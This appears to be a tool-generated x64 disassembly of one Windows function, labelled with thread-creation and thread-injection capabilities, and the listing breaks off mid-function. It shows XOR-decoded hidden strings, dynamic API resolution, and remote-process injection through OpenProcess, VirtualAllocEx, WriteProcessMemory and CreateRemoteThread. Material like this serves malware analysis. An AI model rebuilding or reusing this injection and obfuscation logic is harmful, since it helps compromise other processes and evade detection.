Function at 0x1400262f0
Capabilities:
Create thread
Inject thread
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x248]
sub rsp, 0x320
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140076100]
xor rax, rsp
mov qword [rbp + 0x200], rax
xor r14d, r14d
call fcn.140024940
test al, al
je 0x140026b84
mov qword [rsp + 0x50], 0x54
mov qword [rsp + 0x58], 0xd0006
mov dword [rsp + 0x60], 0x258
movabs rax, 0x5e670c261370fe46
mov qword [rbp - 0x10], rax
movabs rax, 0x79d0f4c5af182b8b
mov qword [rbp - 8], rax
movabs rax, 0x201ebbc84b4ac967
mov qword [rbp], rax
movabs rax, 0x9eee045dd3a72d1b
mov qword [rbp + 8], rax
movabs rax, 0x693007438564c814
mov qword [rbp + 0x10], rax
movabs rax, 0xfdedb4b8e0c485b2
mov qword [rbp + 0x18], rax
movabs r15, 0x5e040c551311fe05
mov qword [rbp + 0xb0], r15
movabs r13, 0x79b1f4acaf7c2bea
mov qword [rbp + 0xb8], r13
movabs rdi, 0x2070bba74b07c947
mov qword [rbp + 0xc0], rdi
movabs rbx, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rbx
movabs rsi, 0x695f0701850dc879
mov qword [rbp + 0xd0], rsi
movabs r12, 0xfdedb4b8e0a085de
mov qword [rbp + 0xd8], r12
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
mov ecx, r14d
nop word [rax + rax]
movzx eax, word [rbp + rcx - 0x10]
mov word [rsp + rcx + 0x64], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140026450
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea r8, [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetCurrentConsoleFontEx]
movabs rax, 0x3b766d2267779176
mov qword [rbp - 0x30], rax
movabs rax, 0x79b1f4ac8f3c0bd0
mov qword [rbp - 0x28], rax
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x178], r13
movdqa xmm0, xmmword [rbp + 0x170]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
lea rdx, [rbp - 0x30]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, str.Mon_Aug_26_06:10:48_2024
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
call fcn.140025880
test al, al
je 0x14002a0eb
movabs rax, 0x7061683461768e70
mov qword [rbp - 0x30], rax
movabs rax, 0x79b1f4acaf19538f
mov qword [rbp - 0x28], rax
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x178], r13
movdqa xmm0, xmmword [rbp + 0x170]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x30]
call fcn.14003f080
xor bl, bl
movabs rax, 0x3a2a3e6661748d70
mov qword [rbp - 0x30], rax
movabs r14, 0x79b1f4acaf7c4786
mov qword [rbp - 0x28], r14
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x178], r13
movdqa xmm0, xmmword [rbp + 0x170]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movabs rsi, 0x3a2a7967207f9772
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], r14
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x178], r13
movdqa xmm0, xmmword [rbp + 0x170]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], r14
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x178], r13
movdqa xmm0, xmmword [rbp + 0x170]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movabs rcx, 0x3b437e3060448a4b
mov qword [rbp - 0x50], rcx
movabs rcx, 0x30c597c9c51e649e
mov qword [rbp - 0x48], rcx
movabs rcx, 0x4904daca3968af29
mov qword [rbp - 0x40], rcx
movabs rcx, 0x9e8b040ed387431b
mov qword [rbp - 0x38], rcx
mov qword [rbp + 0x1b0], r15
mov qword [rbp + 0x1b8], r13
movabs rsi, 0x2070bba74b07c947
mov qword [rbp + 0x1c0], rsi
movabs r14, 0x9e8b040ed3872d74
mov qword [rbp + 0x1c8], r14
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [rbp - 0x40]
xorps xmm1, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp - 0x40], xmm1
lea rdx, [rbp - 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400793c0], rax
test rax, rax
je 0x14002669d
call fcn.14001dde0
movzx ebx, al
mov edi, 1
test bl, bl
je 0x140027001
lea rcx, [rbp - 0x10]
call fcn.140026210
nop
movabs rax, 0x3b60623063749a59
mov qword [rbp - 0x50], rax
movabs rax, 0xcd3a8dfca154884
mov qword [rbp - 0x48], rax
movabs rax, 0x2019d0d16563a52e
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], r14
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x178], r13
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x188], r14
movdqa xmm0, xmmword [rbp + 0x170]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [rbp - 0x40]
xorps xmm1, xmmword [rbp + 0x180]
movdqa xmmword [rbp - 0x40], xmm1
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x1e0]
call fcn.14001be10
nop
mov r8, rax
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x1b0]
call fcn.140030620
nop
lea rcx, [rbp + 0x1e0]
call fcn.14001bdb0
xor r8d, r8d
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x170]
call fcn.140030520
nop
lea rcx, [rbp + 0x170]
call fcn.14001dbb0
movzx ebx, al
lea rcx, [rbp + 0x170]
call fcn.14001bac0
test bl, bl
je 0x140026dd4
movabs rax, 0x306b65277661876d
mov qword [rbp - 0x30], rax
movabs rax, 0x79d498d9cb1346ca
mov qword [rbp - 0x28], rax
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x178], r13
movdqa xmm0, xmmword [rbp + 0x170]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0xb0]
call fcn.140023e10
lea rdx, [rbp - 0x30]
mov rcx, rax
call fcn.140032420
movzx ebx, al
lea rcx, [rbp + 0xb0]
call fcn.14001bdb0
test bl, bl
je 0x140026b6e
movabs r15, 0x3254743a7f739157
mov qword [rbp + 0x170], r15
movabs r12, 0x18c591eedd19528b
mov qword [rbp + 0x178], r12
movabs rdi, 0x2070bba72e7fac69
mov qword [rbp + 0x180], rdi
mov qword [rbp + 0x188], r14
movabs r15, 0x5e040c551311fe05
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], r14
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
movdqa xmm1, xmmword [rbp + 0x180]
xorps xmm1, xmmword [rbp - 0x20]
movdqa xmmword [rbp + 0x180], xmm1
lea rdx, [rbp + 0x170]
lea rcx, [rbp - 0x30]
call fcn.14001be10
nop
lea rcx, [rbp - 0x30]
call fcn.140024c60
mov rbx, rax
lea rcx, [rbp - 0x30]
call fcn.14001bdb0
test rbx, rbx
je 0x140026bbb
movabs r13, 0x3268653e78629f71
mov qword [rbp + 0x170], r13
movabs rax, 0x59dc9d838f1a04ca
mov qword [rbp + 0x178], rax
movabs rax, 0x7317d0f73b6aa604
mov qword [rbp + 0x180], rax
movabs rax, 0x9e8b6176b6a95b06
mov qword [rbp + 0x188], rax
mov qword [rbp - 0x30], r15
movabs rbx, 0x79b1f4acaf7c2bea
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], r14
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
movdqa xmm1, xmmword [rbp + 0x180]
xorps xmm1, xmmword [rbp - 0x20]
movdqa xmmword [rbp + 0x180], xmm1
lea rcx, [rbp + 0x170]
call fcn.14003f080
movabs rax, 0x31472c2161708a76
mov qword [rbp + 0x170], rax
movabs rax, 0xfc3a7cbc42c5b87
mov qword [rbp + 0x178], rax
mov qword [rbp + 0x180], rdi
mov qword [rbp + 0x188], r14
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], r14
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
movdqa xmm1, xmmword [rbp + 0x180]
xorps xmm1, xmmword [rbp - 0x20]
movdqa xmmword [rbp + 0x180], xmm1
lea rcx, [rbp + 0x170]
call fcn.14003f080
movabs rax, 0xd636705637c9146
mov qword [rbp - 0x30], rax
movabs rax, 0x79b191d4ca525d98
mov qword [rbp - 0x28], rax
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x178], rbx
movdqa xmm0, xmmword [rbp + 0x170]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xb0]
call fcn.14001be10
nop
lea rcx, [rbp + 0xb0]
call fcn.140024c60
mov r8, rax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
lea rcx, [rbp + 0xb0]
call fcn.14001bdb0
test rdi, rdi
je 0x140026b6e
movabs rax, 0x2c66651977709149
mov qword [rbp + 0x170], rax
movabs rax, 0x79b1f4acee05598b
mov qword [rbp + 0x178], rax
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], rbx
movdqa xmm0, xmmword [rbp + 0x1e0]
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
movabs rax, 0x6c3760307d639b6e
mov qword [rbp + 0x1e0], rax
movabs rax, 0x79b1f4acc3104fc4
mov qword [rbp + 0x1e8], rax
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], rbx
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x170]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rcx, [rbp + 0x1b0]
call fcn.14001bda0
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140026ae3
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
lea rcx, [rbp + 0x1b0]
call fcn.14001bda0
inc rbx
cmp byte [rax + rbx], 0
jne 0x140026b15
lea rcx, [rbp + 0x1b0]
call fcn.14001bda0
xor r15d, r15d
mov qword [rsp + 0x20], r15
mov r9, rbx
mov r8, rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
mov r9, r14
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0x1b0]
call fcn.14001bdb0
nop
lea rcx, [rbp - 0x10]
call fcn.14001bdb0
xor eax, eax
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140035550
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movabs rax, 0x3c6b5e757d748e6a
mov qword [rbp + 0xb0], rax
movabs rax, 0x1cc895c0ff044486
mov qword [rbp + 0xb8], rax
movabs rax, 0x45129bc63f628b35
mov qword [rbp + 0xc0], rax
movabs rax, 0xfbfb6b2eb6f54212
mov qword [rbp + 0xc8], rax
movabs rax, 0xf307421e263a117
mov qword [rbp + 0xd0], rax
movabs rax, 0x85889add92c1f2aa
mov qword [rbp + 0xd8], rax
movabs rax, 0x2e2a19a3df6ae11e
mov qword [rbp + 0xe0], rax
movabs rsi, 0x8bc1844a19548038
mov qword [rbp + 0xe8], rsi
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x178], r13
movabs rbx, 0x2070bba74b07c947
mov qword [rbp + 0x180], rbx
mov qword [rbp + 0x188], r14
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0x190], rax
movabs rax, 0xfdedb4b8e0a085de
mov qword [rbp + 0x198], rax
movabs r14, 0x2e2a19a3df6acf7b
mov qword [rbp + 0x1a0], r14
mov qword [rbp + 0x1a8], rsi
movdqa xmm0, xmmword [rbp + 0x170]
xorps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
xorps xmm1, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0xc0], xmm1
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x190]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [rbp + 0xe0]
xorps xmm1, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0xe0], xmm1
lea rdx, [rbp + 0xb0]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
movabs rax, 0x30612c2660748c75
mov qword [rbp + 0x170], rax
movabs rax, 0x1a919bd88f0e4e9e
mov qword [rbp + 0x178], rax
movabs rax, 0x2070bb892e74a62b
mov qword [rbp + 0x180], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 0x188], rax
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rax
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
movdqa xmm1, xmmword [rbp + 0x180]
xorps xmm1, xmmword [rbp - 0x20]
movdqa xmmword [rbp + 0x180], xmm1
lea rdx, [rbp + 0x170]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
lea rcx, [0x1400779f0]
call fcn.14002bca0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
movabs rax, 0x306d6421767c9176
mov qword [rbp + 0xb0], rax
movabs rax, 0x16c3838cdc150b8d
mov qword [rbp + 0xb8], rax
movabs rax, 0x18cfce3c27ae29
mov qword [rbp + 0xc0], rax
movabs rax, 0xf0ee6060b6f74810
mov qword [rbp + 0xc8], rax
movabs rax, 0xc2d272df668a11a
mov qword [rbp + 0xd0], rax
movabs rax, 0x9a9dc1988ed5f7f3
mov qword [rbp + 0xd8], rax
movabs rax, 0x4b527c8dba0eae09
mov qword [rbp + 0xe0], rax
movabs rax, 0x8bc1844a19548016
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x178], r13
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x188], r14
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], r12
movabs r14, 0x2e2a19a3df6acf7b
mov qword [rbp + 0x1a0], r14
movabs rsi, 0x8bc1844a19548038
mov qword [rbp + 0x1a8], rsi
movdqa xmm0, xmmword [rbp + 0x170]
xorps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
xorps xmm1, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0xc0], xmm1
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x190]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [rbp + 0xe0]
xorps xmm1, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0xe0], xmm1
lea rdx, [rbp + 0xb0]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
movabs rax, 0x30612c2660748c75
mov qword [rbp + 0x170], rax
movabs rax, 0x1a919bd88f0e4e9e
mov qword [rbp + 0x178], rax
movabs rax, 0x2070bb892e74a62b
mov qword [rbp + 0x180], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 0x188], rax
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], r13
movabs rdx, 0x2070bba74b07c947
mov qword [rbp - 0x20], rdx
mov qword [rbp - 0x18], rax
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
movdqa xmm1, xmmword [rbp + 0x180]
xorps xmm1, xmmword [rbp - 0x20]
movdqa xmmword [rbp + 0x180], xmm1
lea rdx, [rbp + 0x170]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
lea rcx, [0x1400779f0]
call fcn.14002bca0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movabs rsi, 0x8bc1844a19548038
movabs r14, 0x2e2a19a3df6acf7b
cmp edi, 1
jne 0x14002a0e3
movabs rax, 0x5e0469367a65916b
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x178], r13
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r13
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
movabs rax, 0x3b7663337653de5e
mov qword [rbp - 0x10], rax
movabs rax, 0x9d0998cca145fca
mov qword [rbp - 8], rax
movabs rax, 0x4f02cb872c69a037
mov qword [rbp], rax
movabs rax, 0xf9ee662ea0f44817
mov qword [rbp + 8], rax
movabs rax, 0xf16272df62aa610
mov qword [rbp + 0x10], rax
movabs rax, 0x8b8cdc9895cffcfe
mov qword [rbp + 0x18], rax
movabs rax, 0x564575c1b018ef1e
mov qword [rbp + 0x20], rax
movabs rax, 0xffa8a4247c24ef18
mov qword [rbp + 0x28], rax
movabs rax, 0xd85336d1f3d6a12d
mov qword [rbp + 0x30], rax
movabs rax, 0x746f77c0bb858a26
mov qword [rbp + 0x38], rax
movabs rax, 0xdfb00f6c24c9f2a3
mov qword [rbp + 0x40], rax
movabs rax, 0x621c1b7680ad81b9
mov qword [rbp + 0x48], rax
movabs rax, 0xe07307864c1d1a04
mov qword [rbp + 0x50], rax
movabs rax, 0x4e7468005010b416
mov qword [rbp + 0x58], rax
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], r13
movabs rdx, 0x2070bba74b07c947
mov qword [rbp + 0xc0], rdx
movabs rbx, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rbx
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], r12
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], rsi
movabs rax, 0xad3216bd9fbfd60d
mov qword [rbp + 0xf0], rax
movabs rax, 0x150c1eb4dae8e552
mov qword [rbp + 0xf8], rax
movabs rax, 0xacdf630f04b09ecf
mov qword [rbp + 0x100], rax
movabs rax, 0x66e7456eec4a1dc
mov qword [rbp + 0x108], rax
movabs rax, 0x811e27e9383d6861
mov qword [rbp + 0x110], rax
movabs rax, 0x4e7468000d309566
mov qword [rbp + 0x118], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x40]
xorps xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x40], xmm1
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x50], xmm0
mov r9d, 0x41
lea r8, [rbp + 0x170]
lea rdx, [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, edi
jne 0x14002a3dc
movabs rdi, 0x2070bba72e7fac69
movabs rsi, 0x59dc9d838f1a04ca
movabs r15, 0x3254743a7f739157
movabs r12, 0x18c591eedd19528b
movabs r13, 0x3268653e78629f71
movabs r14, 0x79b1f4acaf7c2bea
nop word [rax + rax]
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], rbx
movabs rcx, 0x5e040c551311fe05
mov qword [rbp + 0x1b0], rcx
mov qword [rbp + 0x1b8], r14
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], rbx
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [rbp - 0x40]
xorps xmm1, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp - 0x40], xmm1
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x10]
call fcn.14001be10
nop
lea rcx, [rbp - 0x10]
call fcn.140024c60
mov rbx, rax
lea rcx, [rbp - 0x10]
call fcn.14001bdb0
test rbx, rbx
je 0x140027411
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], rsi
movabs rax, 0x4c20c3c82765a615
mov qword [rbp], rax
movabs rax, 0xffff614ca1e25415
mov qword [rbp + 8], rax
movabs rax, 0x695f0701e075ad57
mov qword [rbp + 0x10], rax
movabs rcx, 0xfdedb4b8e0a085de
mov qword [rbp + 0x18], rcx
movabs rax, 0x5e040c551311fe05
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], r14
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0xc0], rax
movabs rbx, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rbx
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rcx
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp - 0x10]
call fcn.14003f080
jmp 0x1400272b0
movabs rax, 0x306d78257e7e8c75
mov qword [rbp - 0x10], rax
movabs rax, 0x1ed087dfca110b8d
mov qword [rbp - 8], rax
movabs rax, 0x4503ce872473e922
mov qword [rbp], rax
movabs rax, 0xeae26579b2a70106
mov qword [rbp + 8], rax
movabs rax, 0x695f0701ab6aa610
mov qword [rbp + 0x10], rax
movabs r15, 0xfdedb4b8e0a085de
mov qword [rbp + 0x18], r15
movabs rdi, 0x5e040c551311fe05
mov qword [rbp + 0xb0], rdi
movabs rbx, 0x79b1f4acaf7c2bea
mov qword [rbp + 0xb8], rbx
movabs r14, 0x2070bba74b07c947
mov qword [rbp + 0xc0], r14
movabs rsi, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rsi
movabs r12, 0x695f0701850dc879
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], r15
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp - 0x10]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
movabs rax, 0x5e0469367a65916b
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x178], rbx
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rbx
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
movabs rax, 0x2d24693e725cde5e
mov qword [rbp - 0x10], rax
movabs rax, 0x59dd98cd8f19599f
mov qword [rbp - 8], rax
movabs rax, 0x49079bd42e6aa820
mov qword [rbp], rax
movabs rax, 0xfbe5766bb8a74500
mov qword [rbp + 8], rax
movabs rax, 0x13c6e75eb6ce815
mov qword [rbp + 0x10], rax
movabs rax, 0xbcbb948293d4e4bb
mov qword [rbp + 0x18], rax
movabs rax, 0x30a5df19e3f8835
mov qword [rbp + 0x20], rax
movabs rax, 0xcde1a96a5a15c518
mov qword [rbp + 0x28], rax
movabs rax, 0xc35336e9d6fa954c
mov qword [rbp + 0x30], rax
movabs rax, 0x667e7bdcae87c536
mov qword [rbp + 0x38], rax
movabs rax, 0xc3b3002f61c2ffef
mov qword [rbp + 0x40], rax
movabs rax, 0xc642976cfa0c4af
mov qword [rbp + 0x48], rax
movabs rax, 0xf57149c95e74483a
mov qword [rbp + 0x50], rax
movabs rax, 0x21174865635ff146
mov qword [rbp + 0x58], rax
movabs rax, 0x33a191ff0fad8e91
mov qword [rbp + 0x60], rax
movabs rax, 0xca700a451e61cd59
mov qword [rbp + 0x68], rax
movabs rax, 0x52e578a5c0aa11b5
mov qword [rbp + 0x70], rax
movabs rax, 0x59166833b0be6194
mov qword [rbp + 0x78], rax
movabs rax, 0x4af9c9f7616fbebf
mov qword [rbp + 0x80], rax
movabs rax, 0x7b805ee3c5edab61
mov qword [rbp + 0x88], rax
mov qword [rbp + 0xb0], rdi
mov qword [rbp + 0xb8], rbx
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xc8], rsi
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], r15
movabs r14, 0x2e2a19a3df6acf7b
mov qword [rbp + 0xe0], r14
movabs rsi, 0x8bc1844a19548038
mov qword [rbp + 0xe8], rsi
movabs r13, 0xad3216bd9fbfd60d
mov qword [rbp + 0xf0], r13
movabs r15, 0x150c1eb4dae8e552
mov qword [rbp + 0xf8], r15
movabs rdi, 0xacdf630f04b09ecf
mov qword [rbp + 0x100], rdi
movabs rax, 0x66e7456eec4a1dc
mov qword [rbp + 0x108], rax
movabs rax, 0x811e27e9383d6861
mov qword [rbp + 0x110], rax
movabs rax, 0x4e7468000d309566
mov qword [rbp + 0x118], rax
movabs rax, 0x13d8fd8b6cc8fce3
mov qword [rbp + 0x120], rax
movabs r12, 0xa61c63323e14a220
mov qword [rbp + 0x128], r12
movabs rax, 0x3c841a85b4cf7695
mov qword [rbp + 0x130], rax
movabs rax, 0x2d36065c90da04fa
mov qword [rbp + 0x138], rax
movabs rax, 0x2798aed7041cd1d7
mov qword [rbp + 0x140], rax
movabs rax, 0x7b805ebee5ccd804
mov qword [rbp + 0x148], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
